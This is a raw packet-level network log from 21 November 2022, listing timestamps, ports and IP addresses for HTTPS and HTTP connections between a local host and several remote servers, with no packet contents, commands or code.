Nov 21, 2022 19:18:36.545134068 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.545316935 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.545345068 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.545495033 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.545511007 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.545656919 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.545679092 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.545826912 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.545866013 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.546026945 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.546062946 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.546205997 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.546245098 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.546412945 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.546444893 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.546627998 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.546761036 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.546928883 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.546957970 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.547105074 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.547122002 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.547266960 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.547283888 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.547430992 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.547457933 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.547564983 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.547585964 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.547734976 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.547760010 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.547909021 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.547934055 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.548077106 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.548094034 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.548249006 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.548542976 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.548702955 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.548728943 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.548880100 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.548950911 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.549185991 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.549212933 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.549391985 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.549420118 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.549444914 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.549607992 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.549690008 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.549880028 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.549906969 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.550137997 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.550173044 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.550373077 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.550400019 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.550573111 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.550595045 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.550760031 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.550781012 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.550924063 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.550950050 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.551093102 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.551122904 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.551301003 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.551311970 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.551337004 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.551464081 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.551464081 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.551625967 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.551791906 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.551824093 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.551991940 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.552001953 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.552037954 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.552181959 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.552181959 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.552218914 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.552460909 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.552644014 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.552798033 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.552841902 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553013086 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553041935 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553064108 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553200960 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553200960 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553234100 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553342104 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553388119 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553411007 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553487062 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553551912 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553556919 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553577900 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553718090 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553742886 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553867102 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.553901911 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.553926945 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554028988 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.554071903 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.554091930 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554254055 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554342031 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.554364920 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554478884 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554502010 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.554600000 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554703951 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.554718971 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554739952 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.554938078 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555042982 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.555049896 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555176973 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555233002 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.555258989 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555398941 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555414915 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.555521965 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555620909 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.555653095 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555675030 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555964947 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.555983067 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.556021929 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556247950 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556323051 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556337118 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.556370020 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556510925 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556623936 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556679964 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.556703091 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556837082 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.556958914 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.556977987 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.557009935 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.557123899 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.557276011 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.557297945 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.557456970 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.557478905 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.557667017 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.557761908 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.557790995 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.557888031 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.557934999 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.557954073 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558072090 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558094978 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558116913 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558222055 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558222055 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558253050 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558384895 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558543921 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558545113 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558545113 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558604002 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558763981 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558763981 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558814049 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.558820009 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558844090 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.558990002 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.559040070 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.559073925 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.559102058 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.559149027 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.559165955 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.559166908 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.559290886 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:20:01.746260881 CET	49825	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:20:01.881984949 CET	80	49825	45.33.23.183	192.168.11.20
Nov 21, 2022 19:20:01.882216930 CET	49825	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:20:01.882328033 CET	49825	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:20:02.018975019 CET	80	49825	45.33.23.183	192.168.11.20
Nov 21, 2022 19:20:02.019040108 CET	80	49825	45.33.23.183	192.168.11.20
Nov 21, 2022 19:20:02.019280910 CET	49825	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:20:02.019398928 CET	49825	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:20:02.155261993 CET	80	49825	45.33.23.183	192.168.11.20
Nov 21, 2022 19:20:17.238184929 CET	49826	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:17.296993971 CET	80	49826	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:17.297283888 CET	49826	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:17.297430992 CET	49826	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:17.356602907 CET	80	49826	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:17.391448021 CET	80	49826	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:17.391561985 CET	80	49826	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:17.391779900 CET	49826	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:18.301490068 CET	49826	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:19.317296028 CET	49827	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:19.375588894 CET	80	49827	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:19.375962973 CET	49827	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:19.376054049 CET	49827	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:19.434655905 CET	80	49827	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:19.468588114 CET	80	49827	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:19.468632936 CET	80	49827	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:19.469192028 CET	49827	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:20.379359961 CET	49827	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.394903898 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.452130079 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.452413082 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.453052998 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.453119993 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.510735989 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.510792017 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.510832071 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.510911942 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.511076927 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.511188984 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.511239052 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.511414051 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.511444092 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.511584044 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.511738062 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.511754990 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.511897087 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.511921883 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.512089968 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.512125969 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.512428999 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.512448072 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.512767076 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.568478107 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.568535089 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.568655014 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.568785906 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.568896055 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.568900108 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.568981886 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.569034100 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.569190979 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.569222927 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:21.569489002 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.569772005 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.569879055 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.569984913 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.570082903 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.626398087 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.626452923 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.626530886 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.626796007 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.627033949 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.662648916 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.662708044 CET	80	49828	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:21.662925005 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:22.456907034 CET	49828	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:23.472515106 CET	49829	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:23.526709080 CET	80	49829	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:23.526905060 CET	49829	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:23.527010918 CET	49829	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:23.581439972 CET	80	49829	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:23.896471977 CET	80	49829	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:23.896533966 CET	80	49829	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:23.896800041 CET	49829	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:23.896882057 CET	49829	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:20:23.951047897 CET	80	49829	45.130.41.24	192.168.11.20
Nov 21, 2022 19:20:29.232722998 CET	49830	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:29.460223913 CET	80	49830	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:29.460486889 CET	49830	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:29.460572004 CET	49830	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:29.687148094 CET	80	49830	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:29.739981890 CET	80	49830	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:29.740087032 CET	80	49830	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:29.740611076 CET	49830	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:29.984174967 CET	80	49830	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:30.470884085 CET	49830	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:31.486491919 CET	49831	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:31.718416929 CET	80	49831	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:31.718714952 CET	49831	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:31.718878984 CET	49831	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:31.950462103 CET	80	49831	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:32.003511906 CET	80	49831	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:32.003628016 CET	80	49831	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:32.003840923 CET	49831	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:32.269403934 CET	80	49831	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:32.720403910 CET	49831	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:33.735943079 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:33.955148935 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:33.955477953 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:33.955990076 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:33.956078053 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.173919916 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.173955917 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.173981905 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.174357891 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.174942970 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.174978018 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.175004005 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.175028086 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.175051928 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.175076008 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.175101995 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.175450087 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.392966032 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393053055 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393129110 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393202066 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393207073 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.393248081 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393290997 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393296003 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.393573999 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.393701077 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.393848896 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393903971 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393944025 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.393982887 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.394020081 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.394057989 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.394109011 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.394176960 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.394248962 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.394745111 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.394937992 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.395015001 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.395090103 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.395164967 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.610948086 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.611005068 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.611044884 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.611849070 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.611903906 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.611943007 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.611983061 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.612838030 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.612893105 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.612932920 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.612972975 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.662729025 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.662873030 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.663583040 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:34.910861015 CET	80	49832	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:34.969888926 CET	49832	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:35.985481977 CET	49833	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:36.223546028 CET	80	49833	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:36.223799944 CET	49833	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:36.223881960 CET	49833	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:36.460506916 CET	80	49833	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:36.465393066 CET	80	49833	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:36.465861082 CET	80	49833	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:36.466331959 CET	49833	80	192.168.11.20	154.204.24.45
